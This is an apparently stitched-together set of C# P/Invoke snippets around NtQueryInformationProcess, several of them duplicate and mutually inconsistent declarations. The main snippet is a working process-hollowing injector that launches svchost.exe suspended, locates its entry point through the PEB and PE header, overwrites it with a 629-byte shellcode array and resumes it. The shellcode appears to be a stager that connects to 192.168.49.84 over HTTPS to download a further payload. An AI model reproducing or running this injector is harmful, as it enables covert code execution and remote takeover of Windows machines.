private static extern int NtQueryInformationProcess(IntPtr ProcessHandle, int ProcessInformationClass, ref PROCESS_BASIC_INFORMATION ProcessInformation, int ProcessInformationLength, IntPtr ReturnLength);
static IntPtr GetPebNative(IntPtr hProcess) { PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); int res_len = 0; int pbiSize = Marshal.SizeOf(pbi); int status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, ref pbi, pbiSize, ref res_len); if (res_len != pbiSize) { throw new Exception("Unable to query process information."); } return pbi.PebBaseAddress; }
private static extern int NtQueryInformationProcess( IntPtr processHandle, int processInformationClass, out PROCESS_BASIC_INFORMATION processInformation, int processInformationLength, out int returnLength);
private static extern int NtQueryInformationProcess(IntPtr ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, ref PROCESS_BASIC_INFORMATION ProcessInformation, ulong ProcessInformationLength, IntPtr ReturnLength);
static void Main(string[] args) { // Create new svchost process in suspended state STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi); // Fetch address of the Process Environment Block (PEB) from the new svchost process PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); uint tmp = 0; IntPtr hProcess = pi.hProcess; ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp); IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10); // Read the first eight bytes of svchost process memory byte[] addrBuf = new byte[IntPtr.Size]; IntPtr nRead = IntPtr.Zero; ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); // Parse the PE header from the svchost process memory to identify EntryPoint of executable byte[] data = new byte[0x200]; ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead); uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C); uint opthdr = e_lfanew_offset + 0x28; uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr); IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); // Overwrite EntryPoint with shellcode byte[] buf = new byte[629] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x51, 0x56, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x4d, 0x31, 0xc9, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x48, 0x8b, 0x52, 0x20, 0x41, 0x51, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x0f, 0x85, 0x72, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0x50, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0x41, 0xc1, 0xc9, 0x0d, 0xac, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x41, 0x58, 0x41, 0x58, 0x48, 0x01, 0xd0, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4b, 0xff, 0xff, 0xff, 0x5d, 0x48, 0x31, 0xdb, 0x53, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x48, 0x89, 0xe1, 0x49, 0xc7, 0xc2, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x53, 0x53, 0x48, 0x89, 0xe1, 0x53, 0x5a, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x49, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0xe8, 0x0e, 0x00, 0x00, 0x00, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x34, 0x39, 0x2e, 0x38, 0x34, 0x00, 0x5a, 0x48, 0x89, 0xc1, 0x49, 0xc7, 0xc0, 0xbb, 0x01, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x6a, 0x03, 0x53, 0x49, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0xe8, 0x4b, 0x00, 0x00, 0x00, 0x2f, 0x79, 0x4e, 0x70, 0x34, 0x52, 0x77, 0x55, 0x36, 0x72, 0x50, 0x6b, 0x6c, 0x70, 0x53, 0x53, 0x6e, 0x52, 0x66, 0x4b, 0x62, 0x77, 0x77, 0x77, 0x44, 0x66, 0x61, 0x6f, 0x48, 0x4d, 0x34, 0x46, 0x6a, 0x4b, 0x30, 0x4f, 0x2d, 0x53, 0x37, 0x69, 0x73, 0x72, 0x4d, 0x51, 0x73, 0x43, 0x56, 0x63, 0x41, 0x4a, 0x62, 0x72, 0x64, 0x4b, 0x77, 0x4b, 0x47, 0x44, 0x64, 0x51, 0x51, 0x67, 0x30, 0x43, 0x51, 0x75, 0x6d, 0x78, 0x79, 0x4e, 0x54, 0x4d, 0x44, 0x55, 0x00, 0x48, 0x89, 0xc1, 0x53, 0x5a, 0x41, 0x58, 0x4d, 0x31, 0xc9, 0x53, 0x48, 0xb8, 0x00, 0x32, 0xa8, 0x84, 0x00, 0x00, 0x00, 0x00, 0x50, 0x53, 0x53, 0x49, 0xc7, 0xc2, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x6a, 0x1f, 0x5a, 0x52, 0x68, 0x80, 0x33, 0x00, 0x00, 0x49, 0x89, 0xe0, 0x6a, 0x04, 0x41, 0x59, 0x49, 0xba, 0x75, 0x46, 0x9e, 0x86, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x4d, 0x31, 0xc0, 0x53, 0x5a, 0x48, 0x89, 0xf1, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x49, 0xc7, 0xc2, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x75, 0x1f, 0x48, 0xc7, 0xc1, 0x88, 0x13, 0x00, 0x00, 0x49, 0xba, 0x44, 0xf0, 0x35, 0xe0, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0xff, 0xcf, 0x74, 0x02, 0xeb, 0xaa, 0xe8, 0x55, 0x00, 0x00, 0x00, 0x53, 0x59, 0x6a, 0x40, 0x5a, 0x49, 0x89, 0xd1, 0xc1, 0xe2, 0x10, 0x49, 0xc7, 0xc0, 0x00, 0x10, 0x00, 0x00, 0x49, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x49, 0xba, 0x12, 0x96, 0x89, 0xe2, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb2, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd2, 0x58, 0xc3, 0x58, 0x6a, 0x00, 0x59, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0x89, 0xda, 0xff, 0xd5 }; WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead); // Resume thread ResumeThread(pi.hThread); }
public static int GetParentProcessId(int processId) { int ParentID = 0; int hProcess = OpenProcess(eDesiredAccess.PROCESS_QUERY_INFORMATION, false, processId); if (hProcess != 0) { try { PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); int pSize = 0; if (-1 != NtQueryInformationProcess(hProcess, PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, pbi.Size, ref pSize)) { ParentID = pbi.InheritedFromUniqueProcessId; } } finally { CloseHandle(hProcess); } } return (ParentID); }
private static extern int ZwQueryInformationProcess( IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);
private static extern int NtQueryInformationProcess(IntPtr hProcess, PROCESSINFOCLASS pic, ref PROCESS_BASIC_INFORMATION pbi, int cb, ref int pSize);
public static extern int NtQueryInformationProcess(IntPtr hProcess, PROCESSINFOCLASS pic, ref PROCESS_BASIC_INFORMATION pbi, int cb, out int pSize);